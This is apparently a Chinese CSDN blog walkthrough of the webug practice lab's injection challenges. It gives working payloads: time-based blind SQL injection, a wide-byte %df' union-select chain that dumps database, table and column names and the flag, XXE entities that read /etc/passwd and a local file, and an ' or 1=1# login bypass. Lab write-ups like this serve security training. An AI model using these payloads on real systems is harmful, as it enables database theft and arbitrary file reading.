webug---注入篇

之前是分散的把前几篇写了,但是我觉得汇总起来看起来比较方便,就把前几关的链接贴过来:
1 显错注入
https://blog.csdn.net/qq_44108455/article/details/106026259
2 布尔注入
https://blog.csdn.net/qq_44108455/article/details/106026437
3 延时注入
https://blog.csdn.net/qq_44108455/article/details/106041226
4 post注入
https://blog.csdn.net/qq_44108455/article/details/106127084
5 过滤注入
如果只输入select就会提示不要输入危险函数,当select后面加上其他语句的时候又可以查询
本题依旧可以采用延时的方法,和上一关的步骤一模一样,只是最后一步有差别:

1' or if(left((select EnvFlag from env_list where id=5),14)='safsafasdfasdf ',sleep(3),1)#

6 宽字节注入
宽字节注入原理
GBK是一种多字符编码,一个汉字占2个字节,utf-8编码的汉字占3个字节。
addslashes() 函数会对括号里 (’) 、(")、 ()、 (NULL)、的四个字符添加反斜杠并将其返回。

Mysql有一个特性,在进行GBK编码时会将两个字符认为一个汉字(前提是第一个字符的ASCII大于128才能达到汉字范围)。

如果SQL输入经过了addslashes() 函数处理,我们输入’ 时 会变成 \’。一般绕过的方法有两种

  1. 将 ’ 前面的 斜杠 进行转义 \’ 这样单引号就能绕过,逃逸出来
  2. 想办法去掉前面的\

看到网址尝试在后面添加单引号,但是页面并没有什么变化,因为已经知道是宽字节注入,所以添加%df’
页面报错了:
在这里插入图片描述可以看到单引号 ’ 变成了 ’ %df没有显示出来,但我们知道%df转化成10进制是223 大于128,与后面反斜杠 \ 的16进制%5c 合成一个汉字,使得单引号逃逸出来。这也是上面说的第2个方法。

开始注入
1.爆出字段数是2

?id=1%df' order by 2--+
  1. 爆出所有数据库名:
?id=1%df' union select 1,schema_name from information_schema.schemata --+

数据库名字:information_schema,challenges,mysql,performance_schema,security,test,webug,webug_sys,webug_width_byte

3.爆数据库webug下的表:webug转为十六进制为0x7765627567

?id=1%df' union select 1,table_name from information_schema.tables where table_schema=0x7765627567--+

webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test

  1. 爆出env_list 表的列:env_list对应的十六进制为0x656e765f6c697374
?id=1%df' union select 1,column_name from information_schema.columns where table_name=0x656e765f6c697374--+

env_list的表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
5,爆出此题flag

?id=1%df' union select 1,envFlag from webug.env_list where id=6--+

得到flag!
在这里插入图片描述
参考链接:https://www.cnblogs.com/yuuki-aptx/p/10548307.html

7 xxe注入
xxe漏洞产生原因是什么
允许引用外部实体时,如php中libxml_disable_entity_loader当设置为true时,就可以禁用外部实体。

输入admin,登陆进去,
在这里插入图片描述在这里插入图片描述发现是输入什么就传入什么内容
任意文件读取

直接在登陆的地方输入

<?xml version="1.0" encoding="utf-8"?>
	<!DOCTYPE test [
	<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
	<test>
	<wsw>&xxe;</wsw>
	</test>

在这里插入图片描述说明存在xml注入漏洞,至于找flag,好像需要自己创建一个flag的文本,然后就可以通过文件包含漏洞得到flag,可以这样构造payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "file:///c:/1.txt">
]>
<note>
    <name>&content;</name>
</note>    

由于存在换行,也所以转化为URL编码:

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%6f%6e%74%65%6e%74%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%63%3a%2f%31%2e%74%78%74%22%3e%0a%5d%3e%0a%3c%6e%6f%74%65%3e%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%63%6f%6e%74%65%6e%74%3b%3c%2f%6e%61%6d%65%3e%0a%3c%2f%6e%6f%74%65%3e%20%20%20%20%20

由于环境没有搭建在本机,暂时就不尝试创建那个文件,所以不能得到flag

8 csv注入
这道题啥也看不到,也不能导出,有点鸡肋!
在这里插入图片描述有回显,我们仔细观察object(DOMDocument) #4 (34) 明显是php操作xml
我们再输入其他值 发现无论输入啥回显都是这个。
我们使用burp抓包:
在这里插入图片描述

参考链接:https://blog.csdn.net/nex1less/article/details/100009134
11 万能密码登陆
之所以会发生万能密码登陆,是因为:

$sql = "SELECT * FROM user WHERE username = '{$username}' AND password = '{$password}'";
$res = $dbConnect->query($sql);

于是我们可以构造username的值,使得前面的判断为真,而且注释掉后面的内容
可以输入 ' or 1=1#
在这里插入图片描述 登录之后就有flag
在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值